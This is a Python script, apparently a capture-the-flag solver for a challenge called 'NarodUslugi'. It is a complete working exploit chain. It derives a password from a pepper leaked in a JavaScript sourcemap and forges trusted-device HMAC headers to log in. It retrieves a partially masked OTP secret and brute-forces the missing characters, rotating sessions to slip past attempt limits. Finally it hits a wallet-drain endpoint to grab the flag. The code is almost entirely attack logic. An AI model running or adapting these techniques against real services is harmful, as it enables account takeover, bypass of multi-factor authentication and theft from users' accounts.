318 lines
10 KiB
Python
318 lines
10 KiB
Python
#!/usr/bin/env python3
|
|
import argparse
|
|
import base64
|
|
import hashlib
|
|
import hmac
|
|
import http.cookiejar
|
|
import json
|
|
import re
|
|
import ssl
|
|
import struct
|
|
import sys
|
|
import time
|
|
import urllib.error
|
|
import urllib.parse
|
|
import urllib.request
|
|
|
|
BASE32_ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
|
|
|
|
|
|
def read_target_file(path):
|
|
url = None
|
|
parta = None
|
|
user = None
|
|
try:
|
|
with open(path, "r", encoding="utf-8") as fh:
|
|
for raw in fh:
|
|
line = raw.strip()
|
|
if not line or line.startswith("#"):
|
|
continue
|
|
if "=" in line:
|
|
key, value = line.split("=", 1)
|
|
key = key.strip().lower()
|
|
value = value.strip()
|
|
if key in ("url", "target", "host"):
|
|
url = value
|
|
elif key in ("parta", "pwd_part_a", "pwda", "a"):
|
|
parta = value
|
|
elif key in ("user", "username", "narod_user"):
|
|
user = value
|
|
else:
|
|
if url is None:
|
|
url = line
|
|
elif parta is None:
|
|
parta = line
|
|
elif user is None:
|
|
user = line
|
|
except FileNotFoundError:
|
|
return None, None, None
|
|
return url, parta, user
|
|
|
|
|
|
def normalize_base(url):
|
|
url = (url or "").strip()
|
|
if not url:
|
|
return ""
|
|
if not re.match(r"^https?://", url, re.IGNORECASE):
|
|
url = "http://" + url
|
|
return url.rstrip("/")
|
|
|
|
|
|
def make_opener(jar, insecure=False):
|
|
handlers = [urllib.request.HTTPCookieProcessor(jar)]
|
|
if insecure:
|
|
ctx = ssl._create_unverified_context()
|
|
handlers.append(urllib.request.HTTPSHandler(context=ctx))
|
|
return urllib.request.build_opener(*handlers)
|
|
|
|
|
|
def http_request(opener, method, url, data=None, headers=None, timeout=10):
|
|
headers = dict(headers or {})
|
|
body = None
|
|
if data is not None:
|
|
if isinstance(data, dict):
|
|
body = urllib.parse.urlencode(data).encode("utf-8")
|
|
headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
|
|
elif isinstance(data, (bytes, bytearray)):
|
|
body = data
|
|
else:
|
|
body = str(data).encode("utf-8")
|
|
req = urllib.request.Request(url, data=body, headers=headers, method=method)
|
|
try:
|
|
with opener.open(req, timeout=timeout) as resp:
|
|
return resp.getcode(), resp.headers, resp.read()
|
|
except urllib.error.HTTPError as exc:
|
|
return exc.code, exc.headers, exc.read()
|
|
|
|
|
|
def extract_username(html_text):
|
|
m = re.search(r'name="username"[^>]*placeholder="([^"]+)"', html_text, re.IGNORECASE)
|
|
return m.group(1) if m else None
|
|
|
|
|
|
def extract_pepper_xor_hex(map_text):
|
|
try:
|
|
data = json.loads(map_text)
|
|
except json.JSONDecodeError:
|
|
return None
|
|
for src in data.get("sourcesContent", []):
|
|
m = re.search(r'pepper_xor_hex\s*=\s*"([0-9a-fA-F]+)"', src)
|
|
if m:
|
|
return m.group(1).lower()
|
|
return None
|
|
|
|
|
|
def derive_part_b(user, pepper_xor_hex):
|
|
mask = hashlib.sha1(user.encode("utf-8")).digest()[:6]
|
|
pepper_bytes = bytes.fromhex(pepper_xor_hex)
|
|
out = bytes(pepper_bytes[i] ^ mask[i % len(mask)] for i in range(len(pepper_bytes)))
|
|
return out.decode("utf-8", errors="replace")
|
|
|
|
|
|
def derive_pass(parta, partb):
|
|
material = f"{parta}:{partb}".encode("utf-8")
|
|
return hashlib.sha1(material).hexdigest()[:12]
|
|
|
|
|
|
def trusted_headers(pass_hash):
|
|
ts = str(int(time.time()))
|
|
sig = hmac.new(pass_hash.encode("utf-8"), ts.encode("utf-8"), hashlib.sha1).hexdigest()
|
|
return {"X-TS": ts, "X-Trusted-Device": sig}
|
|
|
|
|
|
def base32_decode(secret_b32):
|
|
secret = re.sub(r"[^A-Z2-7]", "", secret_b32.upper())
|
|
pad = "=" * ((8 - (len(secret) % 8)) % 8)
|
|
return base64.b32decode(secret + pad, casefold=True)
|
|
|
|
|
|
def hotp(secret_bytes, counter):
|
|
msg = struct.pack(">Q", counter)
|
|
digest = hmac.new(secret_bytes, msg, hashlib.sha1).digest()
|
|
offset = digest[-1] & 0x0F
|
|
code = struct.unpack(">I", digest[offset:offset + 4])[0] & 0x7FFFFFFF
|
|
return f"{code % 1_000_000:06d}"
|
|
|
|
|
|
def totp(secret_b32, timestamp, step=30):
|
|
key = base32_decode(secret_b32)
|
|
counter = int(timestamp // step)
|
|
return hotp(key, counter)
|
|
|
|
|
|
def fetch_server_offset(opener, base_url):
|
|
status_url = base_url + "/__status__"
|
|
code, _, body = http_request(opener, "GET", status_url)
|
|
if code != 200:
|
|
return 0.0
|
|
try:
|
|
data = json.loads(body.decode("utf-8"))
|
|
server_ms = float(data.get("now", 0))
|
|
if server_ms:
|
|
return (server_ms / 1000.0) - time.time()
|
|
except (ValueError, json.JSONDecodeError):
|
|
pass
|
|
return 0.0
|
|
|
|
|
|
def login(opener, base_url, user, password, trusted=False):
|
|
headers = {}
|
|
if trusted:
|
|
headers.update(trusted_headers(password))
|
|
data = {"username": user, "password": password}
|
|
return http_request(opener, "POST", base_url + "/login", data=data, headers=headers)
|
|
|
|
|
|
def get_masked_secret(opener, base_url):
|
|
headers = {"Referer": base_url + "/profile"}
|
|
code, _, body = http_request(
|
|
opener,
|
|
"GET",
|
|
base_url + "/profile/export?fmt=ini",
|
|
headers=headers,
|
|
)
|
|
if code != 200:
|
|
return None
|
|
text = body.decode("utf-8", errors="replace")
|
|
m = re.search(r"otp_secret=([A-Z2-7?]+)", text)
|
|
return m.group(1) if m else None
|
|
|
|
|
|
def iter_candidates(masked_secret):
|
|
if not masked_secret or not masked_secret.endswith("??"):
|
|
return
|
|
prefix = masked_secret[:-2].upper()
|
|
for a in BASE32_ALPHABET:
|
|
for b in BASE32_ALPHABET:
|
|
yield prefix + a + b
|
|
|
|
|
|
def mfa_attempt(opener, base_url, otp_code):
|
|
code, _, body = http_request(
|
|
opener,
|
|
"POST",
|
|
base_url + "/mfa",
|
|
data={"otp": otp_code},
|
|
)
|
|
if code == 200 and b"/wallet" in body:
|
|
return True
|
|
return False
|
|
|
|
|
|
def fetch_flag(opener, base_url):
|
|
code, _, body = http_request(opener, "GET", base_url + "/wallet/drain")
|
|
if code != 200:
|
|
return None, None
|
|
text = body.decode("utf-8", errors="replace")
|
|
flag = None
|
|
game_code = None
|
|
m_flag = re.search(r"flag\{[^}]+\}", text)
|
|
if m_flag:
|
|
flag = m_flag.group(0)
|
|
m_code = re.search(r"game_code:[a-z0-9_:-]+", text)
|
|
if m_code:
|
|
game_code = m_code.group(0)
|
|
return flag, game_code
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="NarodUslugi solver")
|
|
parser.add_argument("--target-file", default="target.txt", help="File with target URL (default: target.txt)")
|
|
parser.add_argument("--url", help="Base URL, e.g. http://host:7000")
|
|
parser.add_argument("--parta", help="PWD_PART_A value")
|
|
parser.add_argument("--user", help="Override username")
|
|
parser.add_argument("--insecure", action="store_true", help="Disable TLS verification")
|
|
parser.add_argument("--max-per-session", type=int, default=80, help="Max OTP attempts per session")
|
|
args = parser.parse_args()
|
|
|
|
file_url, file_parta, file_user = read_target_file(args.target_file)
|
|
base_url = normalize_base(args.url or file_url)
|
|
parta = args.parta or file_parta
|
|
user = args.user or file_user
|
|
|
|
if not base_url:
|
|
print("Missing target URL. Provide --url or create target.txt.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
jar = http.cookiejar.CookieJar()
|
|
opener = make_opener(jar, insecure=args.insecure)
|
|
|
|
code, _, body = http_request(opener, "GET", base_url + "/")
|
|
if code != 200:
|
|
print(f"Failed to load login page: {code}", file=sys.stderr)
|
|
sys.exit(1)
|
|
html = body.decode("utf-8", errors="replace")
|
|
if not user:
|
|
user = extract_username(html)
|
|
if not user:
|
|
print("Failed to detect username; pass --user or add to target file.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
code, _, body = http_request(opener, "GET", base_url + "/assets/app.js.map")
|
|
if code != 200:
|
|
print(f"Failed to fetch sourcemap: {code}", file=sys.stderr)
|
|
sys.exit(1)
|
|
pepper_xor_hex = extract_pepper_xor_hex(body.decode("utf-8", errors="replace"))
|
|
if not pepper_xor_hex:
|
|
print("Failed to extract pepper_xor_hex from sourcemap.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
partb = derive_part_b(user, pepper_xor_hex)
|
|
if not parta:
|
|
print("Missing PWD_PART_A; pass --parta or add to target file.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
password = derive_pass(parta, partb)
|
|
|
|
# Trusted login to get masked OTP secret.
|
|
trusted_jar = http.cookiejar.CookieJar()
|
|
trusted_opener = make_opener(trusted_jar, insecure=args.insecure)
|
|
code, _, _ = login(trusted_opener, base_url, user, password, trusted=True)
|
|
if code == 429:
|
|
print("Trusted-device login blocked (active trust). Try later or from new IP.", file=sys.stderr)
|
|
sys.exit(1)
|
|
if code != 200:
|
|
print(f"Trusted-device login failed: {code}", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
masked_secret = get_masked_secret(trusted_opener, base_url)
|
|
if not masked_secret:
|
|
print("Failed to retrieve masked OTP secret.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
offset = fetch_server_offset(opener, base_url)
|
|
|
|
attempts = 0
|
|
session_opener = None
|
|
for candidate in iter_candidates(masked_secret):
|
|
if session_opener is None or attempts >= args.max_per_session:
|
|
session_jar = http.cookiejar.CookieJar()
|
|
session_opener = make_opener(session_jar, insecure=args.insecure)
|
|
code, _, _ = login(session_opener, base_url, user, password, trusted=False)
|
|
if code != 200:
|
|
print(f"Login failed during brute-force: {code}", file=sys.stderr)
|
|
sys.exit(1)
|
|
attempts = 0
|
|
|
|
now = time.time() + offset
|
|
otp = totp(candidate, now)
|
|
if mfa_attempt(session_opener, base_url, otp):
|
|
flag, game_code = fetch_flag(session_opener, base_url)
|
|
print(f"user={user}")
|
|
print(f"pass={password}")
|
|
print(f"otp_secret={candidate}")
|
|
if flag:
|
|
print(flag)
|
|
if game_code:
|
|
print(game_code)
|
|
return
|
|
|
|
attempts += 1
|
|
|
|
print("OTP secret not found in search space.", file=sys.stderr)
|
|
sys.exit(1)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|